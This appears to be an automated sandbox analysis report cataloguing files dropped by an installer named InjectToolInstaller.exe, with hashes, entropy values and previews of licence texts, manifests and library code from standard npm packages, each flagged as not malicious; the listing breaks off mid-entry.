Preview:	The ISC License..Copyright (c) Isaac Z. Schlueter and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-packlist\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16729
Entropy (8bit):	4.59418523077253
Encrypted:	false
SSDEEP:	384:4yN9cWV93grs+88U+5mxM+ISIf/7wR5WIU5LB6zxLjMetTUdv:4BsXWFD61v4
MD5:	E3A6D5C325404ECC7B6A1F29B2BF9D1B
SHA1:	29984DF2F8172C412C63056D5FE0CF5AAD54BA9C
SHA-256:	4A4C28A8C2AC40FA93E08CFE40330AFF9617D55E1F6E341927E520FF8E4B6DB9
SHA-512:	8227696C57BB6C4BB229B249A08BBD56884F96A4CE3411D35550BA2AE4ED6039172648FA3646892F3573488EAEA0451663F544D62B010AD3E147426632EBE081
Malicious:	false
Preview:	'use strict'..const { Walker: IgnoreWalker } = require('ignore-walk').const { lstatSync: lstat, readFileSync: readFile } = require('fs').const { basename, dirname, extname, join, relative, resolve, sep } = require('path')..// symbols used to represent synthetic rule sets.const defaultRules = Symbol('npm-packlist.rules.default').const strictRules = Symbol('npm-packlist.rules.strict')..// There may be others, but :?\|<> are handled by node-tar.const nameIsBadForWindows = file => /\/.test(file)..// these are the default rules that are applied to everything except for non-link bundled deps.const defaults = [. '.npmignore',. '.gitignore',. '/.git',. '/.svn',. '/.hg',. '/CVS',. '/.git/',. '/.svn/',. '/.hg/',. '/CVS/',. '/.lock-wscript',. '/.wafpickle-',. '/build/config.gypi',. 'npm-debug.log',. '*/.npmrc',. '..swp',. '.DS_Store',. '/.DS_Store/',. '._',. '/._/*',. '.orig',. '/archived-packages/**',.]..const strictDefaults = [. // the

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-packlist\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1413
Entropy (8bit):	4.657213162608309
Encrypted:	false
SSDEEP:	24:kV1tvwsk4mzHn/CLIFh9+WQP3QieTcKFwLCJrYylgeJo631TV:k/tvVk9HnqsPvQP3QieTcFW5EefFTV
MD5:	43F05A736945D8B16EF4CA371A28E71D
SHA1:	E5B0864D89FF8C7F947F767A5AEE6E5491BC35FF
SHA-256:	A27D78CFA8BDB1364ABF5CF655FF28C554CFE79F6199B397D925EFB6FE861A4B
SHA-512:	9ECA1FB752833CE3AE8E6D93C416E00BBE75DDE7FF09E37773CF8AA9460C79607468A71BC416EA4A213F6622A561106D3280445CF47C59A2D395D83292647A21
Malicious:	false
Preview:	{. "name": "npm-packlist",. "version": "8.0.0",. "description": "Get a list of the files to add from a folder into an npm package",. "directories": {. "test": "test". },. "main": "lib/index.js",. "dependencies": {. "ignore-walk": "^6.0.0". },. "author": "GitHub Inc.",. "license": "ISC",. "files": [. "bin/",. "lib/". ],. "devDependencies": {. "@npmcli/arborist": "^6.0.0 \|\| ^6.0.0-pre.0",. "@npmcli/eslint-config": "^4.0.0",. "@npmcli/template-oss": "4.18.0",. "mutate-fs": "^2.1.1",. "tap": "^16.0.1". },. "scripts": {. "test": "tap",. "posttest": "npm run lint",. "snap": "tap",. "postsnap": "npm run lintfix --",. "eslint": "eslint",. "lint": "eslint \"*/.js\"",. "lintfix": "npm run lint -- --fix",. "npmclilint": "npmcli-lint",. "postlint": "template-oss-check",. "template-oss-apply": "template-oss-apply --force". },. "repository": {. "type": "git",. "url": "https://github.com/npm/npm-packlist.git". },. "ta

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-pick-manifest\LICENSE.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	755
Entropy (8bit):	4.986133556658205
Encrypted:	false
SSDEEP:	12:knXS4dCPX6bsmgmq6KX9KsAyXJXsXHUXA3+aOPRd2AvPNRKA3khXgKCgp3ew:YCICjmq6s9i4eAcGPRfyhoq3ew
MD5:	5324D196A847002A5D476185A59CF238
SHA1:	DFE418DC288EDB0A4BB66AF2AD88BD838C55E136
SHA-256:	720836C9BDAD386485A492AB41FE08007ECF85CA278DDD8F9333494DCAC4949D
SHA-512:	1B4187C58BEBB6378F8A04300DA6F4D1F12F6FBE9A1AB7CEDA8A4752E263F282DAEBCAC1379FA0675DD78EC86FFFB127DBA6469F303570B9F21860454DF2203F
Malicious:	false
Preview:	ISC License..Copyright (c) npm, Inc...Permission to use, copy, modify, and/or distribute this software for.any purpose with or without fee is hereby granted, provided that the.above copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE COPYRIGHT HOLDER DISCLAIMS.ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED.WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE.COPYRIGHT HOLDER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR.CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS.OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE.OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE.USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-pick-manifest\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6848
Entropy (8bit):	4.720893115887277
Encrypted:	false
SSDEEP:	192:3LcFFymAR2Ykcyygu0XRUD8zNqWUfYaVeZ/JHW69QRwMSrI:+ymU2YkxXXeDWN1JJHfnrI
MD5:	414E14C56B1523722F209B7509376EA1
SHA1:	D0EC5FB87D8D8B04A7D6EF944C767689E5E229D3
SHA-256:	E7A7FD5377C26E40D292E0C931B2AAF1061B1151A3A2E5AEBA073B97D3006003
SHA-512:	EBB82FB7DE288AC20F4FF27A9D3FB94C26FFF19BB6D04724C527909AC998A80B1C5A71A7D368EBC972E185782C7CAA61D3239E0BD0C6BE4ACB518CBA699CC73F
Malicious:	false
Preview:	'use strict'..const npa = require('npm-package-arg').const semver = require('semver').const { checkEngine } = require('npm-install-checks').const normalizeBin = require('npm-normalize-package-bin')..const engineOk = (manifest, npmVersion, nodeVersion) => {. try {. checkEngine(manifest, npmVersion, nodeVersion). return true. } catch (_) {. return false. }.}..const isBefore = (verTimes, ver, time) =>. !verTimes \|\| !verTimes[ver] \|\| Date.parse(verTimes[ver]) <= time..const avoidSemverOpt = { includePrerelease: true, loose: true }.const shouldAvoid = (ver, avoid) =>. avoid && semver.satisfies(ver, avoid, avoidSemverOpt)..const decorateAvoid = (result, avoid) =>. result && shouldAvoid(result.version, avoid). ? { ...result, _shouldAvoid: true }. : result..const pickManifest = (packument, wanted, opts) => {. const {. defaultTag = 'latest',. before = null,. nodeVersion = process.version,. npmVersion = null,. includeStaged = false,. avoid = null,. avoi

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-pick-manifest\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1468
Entropy (8bit):	4.6768066334264216
Encrypted:	false
SSDEEP:	24:c1GHzElpi3KFfehP8LCKKDb+3gD8LIFhm4H5Yl6deJo631Tn/Dr:cGTSg2ehP8WFbSgD8sPx5jdefFTn//
MD5:	17C6A659ECBEA12179F3E93AFFC39DBA
SHA1:	4436CFED54499ECD0A970158715DC81D47DB4B56
SHA-256:	5DC223525B0D09599D01F43C8540BE6F769708642D3733508AD4287D3BEB9C07
SHA-512:	3D6FEFF045BC25629465B02A47FBA1338A34AEFA4896D3F5C678DC3B4A92CC80A71E6A9F41A675CF681B60370B2055C1D47808791736B659D087457DE1685E07
Malicious:	false
Preview:	{. "name": "npm-pick-manifest",. "version": "9.0.0",. "description": "Resolves a matching manifest from a package metadata document according to standard npm semver resolution rules.",. "main": "./lib",. "files": [. "bin/",. "lib/". ],. "scripts": {. "coverage": "tap",. "lint": "eslint \"*/.js\"",. "test": "tap",. "posttest": "npm run lint",. "postlint": "template-oss-check",. "lintfix": "npm run lint -- --fix",. "snap": "tap",. "template-oss-apply": "template-oss-apply --force". },. "repository": {. "type": "git",. "url": "https://github.com/npm/npm-pick-manifest.git". },. "keywords": [. "npm",. "semver",. "package manager". ],. "author": "GitHub Inc.",. "license": "ISC",. "dependencies": {. "npm-install-checks": "^6.0.0",. "npm-normalize-package-bin": "^3.0.0",. "npm-package-arg": "^11.0.0",. "semver": "^7.3.5". },. "devDependencies": {. "@npmcli/eslint-config": "^4.0.0",. "@npmcli/template-oss": "4.18.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-profile\LICENSE.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	798
Entropy (8bit):	5.092418661626419
Encrypted:	false
SSDEEP:	12:jANOU+xXS4duNXc1EanmmBq6KX9KLZXOj1HUXUjBjz2AvzPpkhy9gp3ew:jAaCIuwEedq6s9oOBAUjBjn6aq3ew
MD5:	C637D431AC5FAADB34AFF5FBD6985239
SHA1:	0E28FD386CE58D4A8FCBF3561DDAACD630BC9181
SHA-256:	27D998B503B18CDB16C49E93DA04069A99BA8A1D7E18D67146DE8E242F9A6D21
SHA-512:	A4B744C1D494FCC55CD223C8B7B0AD53F3637AAC05FE5C9A2BE41C5F5E117610C75A323C7745DFEAE0DB4126F169C2B7B88649412B6044BA4A94E9A4D8D62535
Malicious:	false
Preview:	This file is automatically added by @npmcli/template-oss. Do not edit. -->..ISC License..Copyright npm, Inc...Permission to use, copy, modify, and/or distribute this.software for any purpose with or without fee is hereby.granted, provided that the above copyright notice and this.permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND NPM DISCLAIMS ALL.WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL.IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO.EVENT SHALL NPM BE LIABLE FOR ANY SPECIAL, DIRECT,.INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,.WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER.TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE.USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-profile\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7553
Entropy (8bit):	4.766274058935108
Encrypted:	false
SSDEEP:	192:bWtEAeoUjQpfXQSg8nbiniUjB3MZkJjKzHG/TpQgv6UW0zH+a795w3rX78isIXdv:gUQb5UCYOSdi0HWX78nItv
MD5:	029BFDEF40D2A7501229A4799CACB4EB
SHA1:	5A9171126D3013AAA121828AEAC3625E460E95C6
SHA-256:	B0DE215F95DC137D52037CF0430AB0722805F2ED9333DD5623C52472E87D1A7D
SHA-512:	1567F73E0F3935A6B1BE19F728B39A10183DEB2E34CF03639DD361D822C5051C63E9EB757FAC01471A826C22C11381DFE156121E6ABBF42858A16355EA579703
Malicious:	false
Preview:	'use strict'..const fetch = require('npm-registry-fetch').const { HttpErrorBase } = require('npm-registry-fetch/lib/errors').const EventEmitter = require('events').const os = require('os').const { URL } = require('url').const log = require('proc-log')..// try loginWeb, catch the "not supported" message and fall back to couch.const login = (opener, prompter, opts = {}) => {. const { creds } = opts. return loginWeb(opener, opts).catch(er => {. if (er instanceof WebLoginNotSupported) {. log.verbose('web login not supported, trying couch'). return prompter(creds). .then(data => loginCouch(data.username, data.password, opts)). } else {. throw er. }. }).}..const adduser = (opener, prompter, opts = {}) => {. const { creds } = opts. return adduserWeb(opener, opts).catch(er => {. if (er instanceof WebLoginNotSupported) {. log.verbose('web adduser not supported, trying couch'). return prompter(creds). .then(data => adduserCouch(data.usernam

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-profile\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1270
Entropy (8bit):	4.687317315187694
Encrypted:	false
SSDEEP:	24:Lop11GOpBbChyM8LIFhjbWyPYKFfe3LTH5Yl6deJo631EDmV:LcGYb4p8sPjyyPY2e3n5jdefFESV
MD5:	3E3E18696D6A03AD6A41ABBE587E1056
SHA1:	0813E2BBD19D66E2AFB982A18DABEC26D05BAC29
SHA-256:	FE9700419F5E66A52B7B337200CCED69E5E0EC539FB09925CD76A4FCA970F027
SHA-512:	4EFF5A96E8EC1C803CEEEE9E7740F3871CC552F144A11E4E023A4D69F3C9422FD619F262B6EE72172DA319E28465A2FDFEF0F0D7CFC0E6CB84A8990998B0861A
Malicious:	false
Preview:	{. "name": "npm-profile",. "version": "9.0.0",. "description": "Library for updating an npmjs.com profile",. "keywords": [],. "author": "GitHub Inc.",. "license": "ISC",. "dependencies": {. "npm-registry-fetch": "^16.0.0",. "proc-log": "^3.0.0". },. "main": "./lib/index.js",. "repository": {. "type": "git",. "url": "https://github.com/npm/npm-profile.git". },. "files": [. "bin/",. "lib/". ],. "devDependencies": {. "@npmcli/eslint-config": "^4.0.0",. "@npmcli/template-oss": "4.18.0",. "nock": "^13.2.4",. "tap": "^16.0.1". },. "scripts": {. "posttest": "npm run lint",. "test": "tap",. "snap": "tap",. "lint": "eslint \"*/.js\"",. "postlint": "template-oss-check",. "lintfix": "npm run lint -- --fix",. "template-oss-apply": "template-oss-apply --force". },. "tap": {. "check-coverage": true,. "nyc-arg": [. "--exclude",. "tap-snapshots/**". ]. },. "engines": {. "node": "^16.14.0 \|\| >=18.0.0". },.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-registry-fetch\LICENSE.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	798
Entropy (8bit):	5.092418661626419
Encrypted:	false
SSDEEP:	12:jANOU+xXS4duNXc1EanmmBq6KX9KLZXOj1HUXUjBjz2AvzPpkhy9gp3ew:jAaCIuwEedq6s9oOBAUjBjn6aq3ew
MD5:	C637D431AC5FAADB34AFF5FBD6985239
SHA1:	0E28FD386CE58D4A8FCBF3561DDAACD630BC9181
SHA-256:	27D998B503B18CDB16C49E93DA04069A99BA8A1D7E18D67146DE8E242F9A6D21
SHA-512:	A4B744C1D494FCC55CD223C8B7B0AD53F3637AAC05FE5C9A2BE41C5F5E117610C75A323C7745DFEAE0DB4126F169C2B7B88649412B6044BA4A94E9A4D8D62535
Malicious:	false
Preview:	This file is automatically added by @npmcli/template-oss. Do not edit. -->..ISC License..Copyright npm, Inc...Permission to use, copy, modify, and/or distribute this.software for any purpose with or without fee is hereby.granted, provided that the above copyright notice and this.permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND NPM DISCLAIMS ALL.WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL.IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO.EVENT SHALL NPM BE LIABLE FOR ANY SPECIAL, DIRECT,.INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,.WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER.TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE.USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-registry-fetch\lib\auth.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	5374
Entropy (8bit):	4.754417442185832
Encrypted:	false
SSDEEP:	96:dD5LF14M3DokgDm6trPdA3RY4YJ4aQqcZbeXTDjaz4N/Gt/XuXa5rbUa5hT2TL9L:J5J0kcm6trPd2N7aQrZwT24/DDTn8P6L
MD5:	63C585EFFA203A7E936AFDD6A4188FEF
SHA1:	B7392483B228E513F38C63145282E3FD2616D26B
SHA-256:	FC50E1FA09F89B75EEBFB632D7C4063A26881EC10791246AE4B30CFC47A8BD84
SHA-512:	4418EC92C8CB1CB62C5725CCFEB756B7245D9761F03568CBF65DA705EB4783CD28C18A83E58E9A7D52A67B9A1FCBB5F9C003D1585F30C999D82024E98C9D3264
Malicious:	false
Preview:	'use strict'.const fs = require('fs').const npa = require('npm-package-arg').const { URL } = require('url')..// Find the longest registry key that is used for some kind of auth.// in the options. Returns the registry key and the auth config..const regFromURI = (uri, opts) => {. const parsed = new URL(uri). // try to find a config key indicating we have auth for this registry. // can be one of :_authToken, :_auth, :_password and :username, or. // :certfile and :keyfile. // We walk up the "path" until we're left with just //<host>[:<port>],. // stopping when we reach '//'.. let regKey = `//${parsed.host}${parsed.pathname}`. while (regKey.length > '//'.length) {. const authKey = hasAuth(regKey, opts). // got some auth for this URI. if (authKey) {. return { regKey, authKey }. }.. // can be either //host/some/path/:_auth or //host/some/path:_auth. // walk up by removing EITHER what's after the slash OR the slash itself. regKey = regKey.replace(/([^/]+\|\/)$

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-registry-fetch\lib\check-response.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3266
Entropy (8bit):	4.6545647502682295
Encrypted:	false
SSDEEP:	96:JuFlYClubZybFRTcxILTUPXeCBJWC/7b4:J0lHkbaRTcsHCP4
MD5:	007A5EABDA41936DDCCA7890D6954947
SHA1:	AAD3648C45DED2DD7065A42185436BC624AF143C
SHA-256:	4D40C6A298637C16FC15B8D3C43FD1C58B9A09E4FFE46F153AA37F14BB816E35
SHA-512:	46FE936E8646D8E6C3B7DEFBB17A4FDA4471E40D8791AFE9FA2EDAF2C10B000E4853B0D8894F608A24453360FFE7C1BD492A05B91FBDE0192C935DE9DA1A9253
Malicious:	false
Preview:	'use strict'..const errors = require('./errors.js').const { Response } = require('minipass-fetch').const defaultOpts = require('./default-opts.js').const log = require('proc-log').const cleanUrl = require('./clean-url.js')../* eslint-disable-next-line max-len */.const moreInfoUrl = 'https://github.com/npm/cli/wiki/No-auth-for-URI,-but-auth-present-for-scoped-registry'.const checkResponse =. async ({ method, uri, res, startTime, auth, opts }) => {. opts = { ...defaultOpts, ...opts }. if (res.headers.has('npm-notice') && !res.headers.has('x-local-cache')) {. log.notice('', res.headers.get('npm-notice')). }.. if (res.status >= 400) {. logRequest(method, res, startTime). if (auth && auth.scopeAuthKey && !auth.token && !auth.auth) {. // we didn't have auth for THIS request, but we do have auth for. // requests to the registry indicated by the spec's scope value.. // Warn the user.. log.warn('registry', `No auth for URI, but auth present for

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-registry-fetch\lib\clean-url.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	564
Entropy (8bit):	4.9868969966576815
Encrypted:	false
SSDEEP:	12:T/G2rITktAHBCQQOEqZ+vFbwl/I9RkJEOC3k9c9RNKEzSRtYALzSRK7BcyR:SqITkKCQQTqZ+dsujIEOT8NKbRtR2RKp
MD5:	DC8C7284DFAD7AE0C562D899A1917EB4
SHA1:	FD2AF4577DCE6CDC2095DEB626C09B3FDE342EC5
SHA-256:	70B9502C5939091F893FC75DC964B6FA9A0F28AD8B6E69B2B592A802DBC57C96
SHA-512:	452C3D940A1ADD9F60CA22460FA6A83DC805DC7ED2C8B8C549093A1D27A8736841A155F22A3F0D72F798166A45321AE8BEB1782FF9F709F260629E6DD4634627
Malicious:	false
Preview:	const { URL } = require('url')..const replace = '***'.const tokenRegex = /\bnpm_[a-zA-Z0-9]{36}\b/g.const guidRegex = /\b[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\b/g..const cleanUrl = (str) => {. if (typeof str !== 'string' \|\| !str) {. return str. }.. try {. const url = new URL(str). if (url.password) {. url.password = replace. str = url.toString(). }. } catch {. // ignore errors. }.. return str. .replace(tokenRegex, `npm_${replace}`). .replace(guidRegex, `npm_${replace}`).}..module.exports = cleanUrl.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-registry-fetch\lib\default-opts.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	386
Entropy (8bit):	4.84360059251981
Encrypted:	false
SSDEEP:	6:PCxjCYBSAy+R3vIfcOQu5MvLjkbRb+1Gc1WR3zCL9qvP97RWFk9JhilEC:PSCYBTI7SvLjsp+1Gc1WeJKkS9JhilEC
MD5:	597315A3ED8DD406779DAA38D975A62F
SHA1:	B27C348D13E419894BF18D596AD2C5A67A4E3BB5
SHA-256:	ACE91C62BDCCB1E4EA86DB3C4D497AE64C6B8F5A91D3783288CFF2CE2FD4F840
SHA-512:	E113D7F7F33154B4328BF2C32C72522D35FBE8D9EC64EE71AE42D2D85E80B8087C35B51737C2A811E56B1060D3C9445469ABF694F41229ADEC45F9808F33FBF5
Malicious:	false
Preview:	const pkg = require('../package.json').module.exports = {. maxSockets: 12,. method: 'GET',. registry: 'https://registry.npmjs.org/',. timeout: 5 * 60 * 1000, // 5 minutes. strictSSL: true,. noProxy: process.env.NOPROXY,. userAgent: `${pkg.name. }@${. pkg.version. }/node@${. process.version. }+${. process.arch. } (${. process.platform. })`,.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-registry-fetch\lib\errors.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2288
Entropy (8bit):	4.774138824808288
Encrypted:	false
SSDEEP:	48:6XY+/zaid5ekvwZTUYYyK5ehrzxY98JZKxozYpBoNKCPQYweKkYcNYR:Kraid5egETPYyKYhrzuCjKxBUNKw7wea
MD5:	26BE9AABCD1FC7D4FBE4030715B0C5D9
SHA1:	B99757A07140F2BEAD4303658A753F842076B118
SHA-256:	5B628A3A904D79398AA6E5C0B95A2693A13C26E511E65E00B82C7C5CBC231E1D
SHA-512:	E7D1CD7EB4BA8F19E4964A4BC23008BFCE2DD4E315B5C4BF0A03F506EB2D11C5A4B57C7FE84C68F77BA37BFD274AECB598AF0FF5FEC871F62A058E82435ABA71
Malicious:	false
Preview:	'use strict'..const url = require('url')..function packageName (href) {. try {. let basePath = new url.URL(href).pathname.slice(1). if (!basePath.match(/^-/)) {. basePath = basePath.split('/'). var index = basePath.indexOf('_rewrite'). if (index === -1) {. index = basePath.length - 1. } else {. index++. }. return decodeURIComponent(basePath[index]). }. } catch (_) {. // this is ok. }.}..class HttpErrorBase extends Error {. constructor (method, res, body, spec) {. super(). this.name = this.constructor.name. this.headers = res.headers.raw(). this.statusCode = res.status. this.code = `E${res.status}`. this.method = method. this.uri = res.url. this.body = body. this.pkgid = spec ? spec.toString() : packageName(res.url). }.}.module.exports.HttpErrorBase = HttpErrorBase..class HttpErrorGeneral extends HttpErrorBase {. constructor (method, res, body, spec) {. super(method, res, body, spec). this.mes

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-registry-fetch\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6633
Entropy (8bit):	4.778013226711051
Encrypted:	false
SSDEEP:	192:7f6ygn1cLq+c70i1Y1ozaSUrmtcOgv7PU8Gc9y6ZHVcipOd4CoPq:+t1AkzaSU/7PU8GcE6Z6RCq
MD5:	0ECFCE931EEADA0F732AD1F672607367
SHA1:	927329D131A95877DF4BC28AA898F09AD0FB1352
SHA-256:	548A0748571E2F82E6D530B8D6CDC77B6A7AA59D9099ED1B285A5094337B3305
SHA-512:	89985263E4306F001AE84847443A1BF23008A0B638F413F704015DD5CB55489C24E6274FBA93A3566ECCE97B058646682CC0ECE712D84547ED787A38BD84040E
Malicious:	false
Preview:	'use strict'..const { HttpErrorAuthOTP } = require('./errors.js').const checkResponse = require('./check-response.js').const getAuth = require('./auth.js').const fetch = require('make-fetch-happen').const JSONStream = require('minipass-json-stream').const npa = require('npm-package-arg').const qs = require('querystring').const url = require('url').const zlib = require('minizlib').const { Minipass } = require('minipass')..const defaultOpts = require('./default-opts.js')..// WhatWG URL throws if it's not fully resolved.const urlIsValid = u => {. try {. return !!new url.URL(u). } catch (_) {. return false. }.}..module.exports = regFetch.function regFetch (uri, /* istanbul ignore next */ opts_ = {}) {. const opts = {. ...defaultOpts,. ...opts_,. }.. // if we did not get a fully qualified URI, then we look at the registry. // config or relevant scope to resolve it.. const uriValid = urlIsValid(uri). let registry = opts.registry \|\| defaultOpts.registry. if (!uriValid) {

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-registry-fetch\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1628
Entropy (8bit):	4.723255346812162
Encrypted:	false
SSDEEP:	48:H1njFn5Z8iexh2/P8WlILhcTf8sPhe/rjdefFQt:HtF7NeD5WlOhOf8Sh8rxeE
MD5:	C3D3AA9E6AF6CDE35BB8B44F198F7199
SHA1:	E2946332AD40F6C76E0A3FFCA6536432EA7635B3
SHA-256:	8B1F0E565D13F04090B8E4A8507746925ED023FD4E5547754BAA7333181F3FAA
SHA-512:	40C593C063134FA77D5AE5132F5A1DF5D8E10890D5B99B551D600C0CA67F1FC81A5722ACDFDBBF2C869ABA1E56FA1EEB77267FB472BA747693D07D697D536015
Malicious:	false
Preview:	{. "name": "npm-registry-fetch",. "version": "16.1.0",. "description": "Fetch-based http client for use with npm registry APIs",. "main": "lib",. "files": [. "bin/",. "lib/". ],. "scripts": {. "eslint": "eslint",. "lint": "eslint \"*/.js\"",. "lintfix": "npm run lint -- --fix",. "test": "tap",. "posttest": "npm run lint",. "npmclilint": "npmcli-lint",. "postsnap": "npm run lintfix --",. "postlint": "template-oss-check",. "snap": "tap",. "template-oss-apply": "template-oss-apply --force". },. "repository": {. "type": "git",. "url": "https://github.com/npm/npm-registry-fetch.git". },. "keywords": [. "npm",. "registry",. "fetch". ],. "author": "GitHub Inc.",. "license": "ISC",. "dependencies": {. "make-fetch-happen": "^13.0.0",. "minipass": "^7.0.2",. "minipass-fetch": "^3.0.0",. "minipass-json-stream": "^1.0.1",. "minizlib": "^2.1.2",. "npm-package-arg": "^11.0.0",. "proc-log": "^3.0.0". },. "devDe

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-user-validate\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1295
Entropy (8bit):	5.116074103452293
Encrypted:	false
SSDEEP:	24:FZUnogbOIhrYFT5JyhrYFTX79Z1432sQEO3gROd32sZyxtT41BtGW+ZqcTHn:OOorYJCrYJBZ1432sm32sZEt01BtG/gk
MD5:	89AC8EE2B7CBFF80AEA3575787F846AB
SHA1:	366076FBC660271A1C6D424852E04957E3881BB2
SHA-256:	8B8404B77EA2A20E045FBAD73DE1661091A852BFE1F4997E0B646C688F3D18E4
SHA-512:	5A86A20E2799F760DD2A033397B53325FC6615D80CD4DA535BAD1040F9FE1F865E99F1CE7734A9ACAFD35865EDE026CDFEFBA0DA7C8DCFFA77AEA26CCE831217
Malicious:	false
Preview:	Copyright (c) Robert Kowalski.All rights reserved...The BSD License..Redistribution and use in source and binary forms, with or without.modification, are permitted provided that the following conditions.are met:..1. Redistributions of source code must retain the above copyright. notice, this list of conditions and the following disclaimer...2. Redistributions in binary form must reproduce the above copyright. notice, this list of conditions and the following disclaimer in the. documentation and/or other materials provided with the distribution...THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND.ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE.IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR.PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS.BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR.CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF.SUBSTITUTE GOODS OR SERV

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-user-validate\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1403
Entropy (8bit):	4.722286748316439
